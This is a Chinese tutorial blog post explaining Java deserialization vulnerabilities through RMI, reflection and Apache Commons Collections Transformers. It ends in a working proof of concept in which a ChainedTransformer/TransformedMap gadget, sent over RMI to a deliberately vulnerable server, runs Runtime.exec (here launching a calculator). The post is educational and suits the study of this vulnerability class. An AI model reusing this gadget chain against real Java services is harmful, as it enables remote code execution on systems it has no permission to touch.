龙空技术网

从原理学习Java反序列化详解

笨鸟先飞ftyjh 173

前言:

今天姐妹们对“java反序列化工具”大体比较关心,咱们都想要学习一些“java反序列化工具”的相关文章。那么小编在网上汇集了一些关于“java反序列化工具””的相关内容,希望你们能喜欢,咱们一起来了解一下吧!

1 序列化与反序列化1.1 概念序列化: 将数据结构或对象转换成二进制串的过程反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程1.2 使用场景当你想把的内存中的对象状态保存到一个文件中或者数据库中时候。当你想用套接字在网络上传送对象的时候。当你想通过 RMI 传输对象的时候。2 RMI2.1 什么是 RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个 Java 虚拟机的对象调用运行在另一个 Java 虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

2.2 使用例子2.2.1 代码

// RMI 接口package rmi;import java.rmi.Remote;import java.rmi.RemoteException;public interface rmidemo extends Remote {    public String hello() throws RemoteException;}
// RMI 类package rmi;import org.apache.commons.collections.map.TransformedMap;import java.rmi.RemoteException;import java.rmi.serverdemo.UnicastRemoteObject;public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {    protected RemoteHelloWorld() throws RemoteException {        System.out.println("构造方法");    }    @Override    public String hello() throws RemoteException {        System.out.println("Hello invoked!");        return "Hello,world!";    }}
// 服务端程序package rmi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class server {    public static void main(String[] args) throws RemoteException {        rmidemo hello = new RemoteHelloWorld();        Registry registry = LocateRegistry.createRegistry(1099);        registry.rebind("hello", hello);    }}
// 客户端程序package rmi;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class clientdemo {    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException {        // lookup 服务器的远程类        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");        // 远程调用服务器函数        System.out.println(hello.hello());    }}
2.2.2 运行结果

服务器端:

客户端:

可以看出通过 RMI 只能调用服务器上已经存在的函数,不能直接把我们的代码传输到服务器上执行。

3 反射3.1 什么是反射

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为 Java 语言的反射机制。

3.2 例子

package reflectiondemo;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class TestReflection {    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {        Class RuntimeClass = Class.forName("java.lang.Runtime");        Method method = RuntimeClass.getMethod("getRuntime");        Object runtime = method.invoke(RuntimeClass);        RuntimeClass.getMethod("exec", String.class).invoke(runtime, "gnome-calculator");    }}

可以看到,在实例的代码中,并没有使用 Runtime 这个关键字,但是可以直接使用 Runtime这个类及其实现的方法完成命令执行。在实际漏洞利用的过程中,软件开发者肯定不会帮攻击者导入好漏洞利用需要用到的类,所以使用反射就非常关键。

但是这段代码只能在本地执行,没办法通过 RMI 传输到服务器上执行。

4 Transformer4.1 定义

此抽象类的实例可以将源树转换为结果树。

可以使用 TransformerFactory.newTransformer 方法获得此类的实例。 然后,该实例可用于处理来自各种源的XML,并将转换输出写入各种接收器。

此类的对象不能在并发运行的多个线程中使用。 不同的线程可以同时使用不同的变换器。

可以多次使用 Transformer 。 变换之间保留参数和输出属性。

可以将 Transformer 理解为一个转换器,不同的 Transformer 实现不同的功能,通过调用 transform 方法来使用 Transformer 的具体功能。

4.2 常用 Transformer 介绍4.2.1 ConstantTransformer

每次返回相同常量的转换器实现。

// 构造函数public ConstantTransformer(Object constantToReturn) {    super();    iConstant = constantToReturn;}// transform 方法public Object transform(Object input) {    return iConstant;}

从源码可以看出,它的功能很简单,就是直接返回传入的对象。

4.2.2 InvokerTransformer

通过反射创建新对象实例的转换器实现。

// 构造函数public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    super();    iMethodName = methodName;    iParamTypes = paramTypes;    iArgs = args;}// tranform 方法public Object transform(Object input) {    if (input == null) {        return null;    }    try {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);    } catch (NoSuchMethodException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");    } catch (IllegalAccessException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");    } catch (InvocationTargetException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);    }}

从源码可以看出, InvokerTransformer 的作用是通过反射调用指定类的指定方法,并将调用结果返回。

4.2.1 ChainedTransformer

将指定的转换器链接在一起的转换器实现。

// 构造函数public ChainedTransformer(Transformer[] transformers) {    super();    iTransformers = transformers;}// transform 方法public Object transform(Object object) {    for (int i = 0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }    return object;}

从源码可以看出, ChainedTransformer 的构造函数接收一个 Transformer 的列表,调用 transform 方法时,接收一个对象参数,使用该列表中的每一个 Transformer 对该对象参数进行 transform 操作,并最终返回传入的对象参数。

4.3 实例

使用 Transformer ,我们可以将上面反射的例子改一下。

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.IOException;public class TestTransform {    public static void main(String[] args) throws IOException {        // 构造一个 Transformer 列表        Transformer[] transformers = new Transformer[] {                // 使用 ConstantTransformer 得到一个 Runtime.class                new ConstantTransformer(Runtime.class),                // 使用 InvokerTransformer 通过反射机制调用 getRuntime 方法                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),                // 使用 InvokerTransformer 通过反射机制调用 调用 invoke 方法                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),                // 使用 InvokerTransformer 通过反射机制调用 exec 方法,实现命令执行                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })        };        // 使用 ChainedTransformer 将这些 Transformer 连接起来        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        // 对列表中的 Transformer 的 Transform 方法逐个调用        chainedTransformer.transform("1");    }}

使用 Transformer 改写这段代码,是为了将命令执行的操作从代码转换成对象,这样就可以通过网络传输了。

此时,我们只需要通过 RMI 将 chainedTransformer 这个对象传输到服务器上,调用 transform 方法,就可以触发代码执行。

5 反序列化漏洞实例5.1 TransformedMap

装饰另一个 Map 以转换添加的对象。

简单来说就是给普通的 Map 对象添加 transform 功能,查看源码:

// 可以使用该方法将普通 Map 转换为 TransformedMappublic static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}// 构造函数protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    // 主要是这里,将参数直接赋值给 valueTransformer 了    this.valueTransformer = valueTransformer;}protected Object transformValue(Object object) {    if (valueTransformer == null) {        return object;    }    // 注意,这里会调用 transform 方法    return valueTransformer.transform(object);}// put 方法会调用 transformValue 方法public Object put(Object key, Object value) {    key = transformKey(key);    value = transformValue(value);    return getMap().put(key, value);}

简单来说,我们可以将一个普通的 Map 转换成 TransformedMap ,然后通过 RMI 传输到服务器上,找到服务器上调用 Map.put 的地方,就可以实现命令执行。

5.2 漏洞原理5.3 代码

// rmidemo.javapackage rmi;import java.rmi.Remote;import java.rmi.RemoteException;// 定义一个 Remote 接口public interface rmidemo extends Remote {    // 声明一个函数,注意这个函数可以传入一个参数,这是漏洞利用的点    public String hello(Object obj) throws RemoteException;}// RemoteHelloWorld.javapackage rmi;import org.apache.commons.collections.map.TransformedMap;import java.rmi.RemoteException;import java.rmi.serverdemo.UnicastRemoteObject;// 定义一个类实现上面的 Remote 接口public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {    protected RemoteHelloWorld() throws RemoteException {        System.out.println("构造方法");    }    // 从远程调用的客户端获取参数    @Override    public String hello(Object obj) throws RemoteException {        System.out.println("Hello invoked!");        TransformedMap map = (TransformedMap) obj;        // 漏洞产生的位置,TransformedMap 的 put 方法会调用 transform 方法        // 在本例中,只要能够触发 obj 的 transform 方法就可以实现代码执行        // 这虽然是我故意写的漏洞,但是日常编码过程中很难想象到 put 操作居然会导致命令执行        map.put("1", "1");        return "Hello,world!";    }}// serverdemo.javapackage rmi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;// 服务器端代码public class serverdemo {    public static void main(String[] args) throws RemoteException {        rmidemo hello = new RemoteHelloWorld();        Registry registry = LocateRegistry.createRegistry(1099);        registry.rebind("hello", hello);    }}// clientdemo.javapackage rmi;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.InvocationTargetException;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.util.HashMap;import java.util.Map;// 客户端代码public class clientdemo {    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");        // 通过 RMI 提交 payload        System.out.println(hello.hello(getPayload()));    }    // 构造恶意对象    public static Object getPayload()  {        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })        };        // ChainedTransformer 的特性,会对传入的 Transformer 数组逐个执行 transform        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        map.put("value", "value");        // 将普通 Map 转换成 TransformedMap        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);        return transformedMap;    }}
6 总结

Java 反序列化漏洞的利用,核心思想在于构造一个恶意对象,通过 RMI 远程调用把恶意对象传输到服务器,通过触发恶意对象的 transform 方法或者其他可以执行命令的方法,实现命令执行。

如果你觉得这篇文章对你有帮助 点赞关注,然后私信回复【888】即可获取Java进阶全套视频以及源码学习资料

标签: #java反序列化工具